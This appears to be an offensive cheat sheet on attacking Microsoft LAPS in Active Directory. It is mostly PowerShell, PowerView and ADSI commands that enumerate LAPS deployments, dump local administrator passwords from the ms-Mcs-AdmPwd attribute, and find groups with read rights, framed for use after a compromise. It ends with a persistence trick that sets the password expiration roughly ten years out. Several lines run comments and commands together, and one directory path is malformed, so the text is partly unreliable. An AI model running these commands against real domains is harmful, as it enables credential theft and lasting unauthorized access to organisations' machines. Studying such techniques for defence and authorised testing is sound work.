The "Local Administrator Password Solution" (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.
Enumeration
Check if LAPS is installed Locally
# Identify if installed to Program FilesGet-ChildItem'C:\Program Files\LAPS\CSE\Admpwd.dll'Get-ChildItem'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll'dir'C:\Program Files\LAPS\CSE\'dir'C:\Program Files (x86)\LAPS\CSE\'# Identify if installed by checking the AD ObjectGet-ADObject'CN=ms-mcs-admpwd,CN=Schema,CN=Configuration,DC=DC01,DC=Security,CN=Local'
# Powerview# Find instances of ms-mcs-admpwd where it is not empty, Requires permission to view the ms-mcs-admpwd attribute.Get-DomainComputer|Select-Object'dnshostname','ms-mcs-admpwd'|Where-Object {$_."ms-mcs-admpwd"-ne$null}# Find instances where the expiration time is not empty, any user can read this so handy for checking if LAPS is installed on host
Get-DomainComputer|? { $_."ms-Mcs-AdmPwdExpirationTime"-ne$null } | select dnsHostName# PowerShellGet-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'
# Native([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { Write-Host "" ; $_.properties.cn ; $_.properties.'ms-mcs-admpwd'}
LAPS Configuration file
If LAPS is deployed by a GPO, we can identify the configuratio file to discover some details about the configuration.
# Import moduleImport-Module AdmPwd.PS# Find the OUs that can read LAPS passwordsFind-AdmPwdExtendedRights-Identity <OU># Once we have compromised a user that can read LAPSGet-AdmPwdPassword-ComputerName <Hostname>
# Get Groups that can read the ms-Mcs-AdmPwd attributeFind-LAPSDelegatedGroups# Gets all computers which have LAPS enabledGet-LAPSComputers# Checks for ExtendedRights for Laps on each AD ComputerFind-AdmPwdExtendedRights
LAPS Persistence
LAPS may be configured to automatically update a computers password on a regular basis. If we have compromised a computer and elevated to SYSTEM we can update the value to never expire for 10 years as a means of persistence.
# PowerViewSet-DomainObject-Identity wkstn-1-Set @{'ms-Mcs-AdmPwdExpirationTime'='136257686710000000'} -VerboseSetting 'ms-Mcs-AdmPwdExpirationTime' to '136257686710000000'for object '[HostName$]'